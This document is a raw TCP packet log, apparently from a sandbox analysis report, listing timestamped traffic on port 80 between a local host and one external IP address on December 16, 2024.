Dec 16, 2024 10:38:17.144114971 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.144707918 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.144762039 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.144794941 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.144834042 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.293123007 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.293148994 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.293180943 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.293216944 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.293406010 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.293447971 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.293565035 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.293611050 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.294048071 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.294094086 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.294095039 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.294138908 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.294939041 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.294987917 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.295104980 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.295159101 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.295751095 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.295799017 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.295836926 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.295880079 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.296593904 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.296637058 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.296675920 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.296848059 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.297456026 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.297502041 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.297559977 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.297606945 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.298324108 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.298368931 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.298470020 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.298538923 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.299139023 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.299202919 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.299212933 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.299252033 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.299974918 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.300029993 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.300064087 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.300102949 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.300798893 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.300885916 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.300920010 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.300966978 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.301682949 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.301726103 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.301785946 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.301834106 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.302530050 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.302577019 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.302855968 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.302896023 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.303354979 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.303405046 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.303488970 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.303530931 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.304182053 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.304230928 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.304299116 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.304346085 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.305056095 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.305104017 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.305171967 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.305218935 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.305908918 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.305957079 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.306026936 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.306077957 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.306725025 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.306771040 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.306828022 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.306863070 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.307596922 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.307616949 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.307641983 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.307662010 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.308768988 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.308815002 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.308901072 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.308942080 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.309328079 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.309370995 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.309631109 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.309673071 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.310101986 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.310143948 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.310230017 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.310271978 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.310975075 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.311017036 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.311100960 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.311146975 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.311810017 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.311830044 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.311853886 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.311868906 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.312637091 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.312681913 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.312757969 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.312799931 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.313513994 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.313563108 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.313687086 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.313729048 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.314346075 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.314400911 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.314486027 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.314527988 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.315234900 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.315289974 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.315324068 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.315366030 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.316061974 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.316112041 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.316235065 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.316282988 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.316884995 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.316931963 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.317003012 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.317049026 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.317744970 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.317785978 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.317837000 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.317881107 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.318640947 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.318659067 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.318717003 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.319441080 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.319482088 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.319554090 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.319600105 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.320276976 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.320322037 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.320374966 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.320420027 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.321166992 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.321208000 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.321304083 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.321348906 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.322058916 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.322105885 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.322122097 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.322169065 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.322813034 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.322861910 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.322901011 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.322942972 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.323708057 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.323749065 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.323848963 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.323893070 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.324510098 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.324557066 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.324644089 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.324691057 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.325378895 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.325426102 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.325460911 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.325505972 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.326253891 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.326303959 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.326347113 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.326387882 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.327056885 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.327105045 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.327193022 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.327240944 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.327917099 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.327958107 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.327961922 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.328001022 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.328752041 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.328824997 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.328850985 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.328890085 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.329581022 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.329628944 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.329668045 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.329715014 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.330449104 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.330492973 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.330534935 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.330575943 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.331264973 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.331319094 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.331383944 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.331434011 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.332161903 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.332209110 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.332232952 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.332278013 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.332994938 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.333044052 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.333089113 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.333128929 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.333806038 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.333853006 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.333892107 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.333945990 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.334757090 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.334803104 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.334841967 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.334878922 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.335576057 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.335622072 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.335750103 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.335799932 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.336555958 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.336570024 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.336601973 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.336616039 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.337194920 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.337244034 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.485557079 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.485594988 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.485651016 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.485673904 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.485829115 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.485877991 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.485950947 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.486000061 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.486800909 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.486880064 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.486884117 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.486922026 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.487536907 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.487586975 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.487679005 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.487728119 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.488379955 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.488428116 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.488495111 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.488543034 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.489228010 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.489276886 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.489341021 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.489387989 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.490057945 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.490111113 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.490190029 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.490238905 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.490933895 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.490982056 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.491023064 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.491075039 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.491748095 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.491799116 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.491888046 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.491936922 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.492609024 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.492659092 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.492691994 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.492738962 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.493633986 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.493654013 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.493683100 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.493701935 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.494292021 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.494376898 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.494414091 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.494457960 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.495172024 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.495218992 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.495280027 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.495337009 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.495984077 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.496035099 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.496099949 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.496149063 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.496818066 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.496866941 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.496949911 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.496995926 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.497668982 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.497716904 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.497781992 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.497827053 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.498538971 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.498591900 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.498627901 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.498684883 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.499392033 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.499444008 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.499490023 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.499536991 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.500216007 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.500266075 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.500291109 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.500341892 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.501092911 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.501137972 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.501176119 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.501221895 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.501920938 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.501971006 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.502012014 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.502058983 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.502736092 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.502784967 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.502847910 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.502896070 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.503608942 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.503683090 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.503720045 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.503767967 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.504467010 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.504517078 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.504585981 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.504631042 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.505301952 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.505348921 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.505389929 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.505435944 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.506141901 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.506191969 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.506233931 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.506282091 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.506994963 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.507044077 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.507103920 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.507153988 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.507843018 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.507893085 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.507935047 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.507982969 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.508704901 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.508764982 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.508802891 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.508848906 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.509527922 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.509576082 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.509668112 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.509716034 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.510377884 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.510426044 CET	49896	80	192.168.2.9	185.215.113.206
